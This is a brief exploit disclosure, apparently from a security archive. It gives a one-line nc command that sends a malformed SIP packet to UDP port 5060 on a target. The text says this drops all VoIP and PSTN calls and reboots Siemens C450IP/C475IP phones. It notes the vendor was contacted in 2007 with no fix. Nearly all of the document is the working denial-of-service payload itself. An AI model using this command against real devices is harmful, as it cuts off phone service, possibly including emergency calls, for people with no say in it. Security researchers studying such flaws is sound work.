echo -e "X sip:s XnFrom:<sip:@x>nTo:<sip:@x>n" | nc -q0 -u <target> 5060
Will disconnect all current VOIP and PSTN calls and reboot
the C450IP/C475IP devices.
Tested with current firmwares.
Vendor (Siemens) was contacted 11/2007, no fix supplied yet.
sky & Any